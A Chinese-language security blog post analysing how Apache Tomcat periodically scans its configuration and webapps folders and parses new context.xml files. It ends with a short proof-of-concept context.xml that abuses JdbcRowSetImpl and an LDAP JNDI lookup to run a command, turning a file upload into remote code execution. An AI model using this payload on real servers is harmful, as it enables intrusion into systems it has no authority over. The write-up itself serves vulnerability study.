tomcat下上传xml进行利用学习

0x01 分析

org.apache.catalina.core.ContainerBase.ContainerBackgroundProcessor#run

image-20250103104554976

tomcat后台每10s触发一次。然后调用processChildren

org.apache.catalina.core.ContainerBase.ContainerBackgroundProcessor#processChildren

image-20250103104819434

然后在在container查找所有Container[],遍历触发tomcat不同容器的backgroundProcess方法。。

当遍历到StandardEngine[Catalina].StandardHost[localhost]image-20250103105507534

org.apache.catalina.core.ContainerBase#backgroundProcess

image-20250103105554945

image-20250103105801215

org.apache.catalina.startup.HostConfig#lifecycleEvent

image-20250103111331623

他会event.getLifecycle()方法返回一个Host对象,然后进行类型转换为StandardHost类型,然后设置设置一些配置。

最重要就是下面判断了Lifecycle的生命周期,在类型等于PERIODIC_EVENT,和start的时候,deployApps函数。

由于start控不了,所以在PERIODIC_EVENT的时候提供了可操作空间

org.apache.catalina.startup.HostConfig#check()

image-20250103111906993

org.apache.catalina.startup.HostConfig#deployApps()

image-20250103112049940

会从host获取tomat目录以及config目录,下面三个函数分别就是对configxml、wr包、app文件夹的操作。

org.apache.catalina.startup.HostConfig#deployDescriptors

image-20250103112900576

首先获取执行器,然后判读在configBase的位置,遍历一下文件是否是。xml文件结尾。

然后获取上下文名字,判断当前服务有没有这个服务,有就跳过,没有就加入。

org.apache.catalina.startup.HostConfig#deployDescriptor

image-20250103145918727

deployDescriptor对象会读取contextXml,然后使用digester.parse解析

org.apache.catalina.startup.HostConfig#deployWARs

image-20250103124643840

war包逻辑不用管了

image-20250103124905101

主要就是/Users/snake/tomcat/apache-tomcat-8.5.27/webapps 判断下面有没有新增的文件夹,排除META-INF,WEB-INF。image-20250103143003726

然后加入执行器。

org.apache.catalina.startup.HostConfig.DeployDirectory#run

image-20250103143320135

org.apache.catalina.startup.Constants

image-20250103143522668

image-20250103143511999

image-20250103144834332

后面即使host判断是够具有copy,有复制到host.getConfigBaseFile()文件下,然后新建一个context,listenster进行一系列绑定,最后把context加入host.addChild.

0x02 总结

​ tomcat每10秒会周期性检测ConfigBaseFile(“Catalina/localhost”)下的新文件和appBase(webroot)下有没有新增的文件夹,若果有就从当前host获取执行器ExecutorService,然后加入DeployDescriptor、DeployDirectory对象(它会在文件夹找META-INF/context.xml)。后面就是执行器执行,调用digester.parse解析xml文件。

0x03 利用

​ 在root文件夹下创建新的文件夹,文件下有META-INF/context.xml文件,它会自动解析。或者在**”/conf/Catalina/localhost”**写入新的xml,等待线程执行器执行。

https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/#%E5%8F%91%E7%8E%B0

y4xml的解析poc,简单来说就是digester.parse解析时调用setter给class的fied进行赋值。

1
2
3
4
5
6
7
<Context>
<WatchedResource>web.xml</WatchedResource>

<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:1389/TomcatBypass/Command/calc"
autoCommit="true"></Manager>
</Context>

image-20250103151141461

成功

reference

http://www.lvyyevd.cn/archives/tomcat%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0rce%E5%A7%BF%E5%8A%BF


tomcat下上传xml进行利用学习
https://unam4.github.io/2025/01/03/tomcat下上传学习/
作者
unam4
发布于
2025年1月3日
许可协议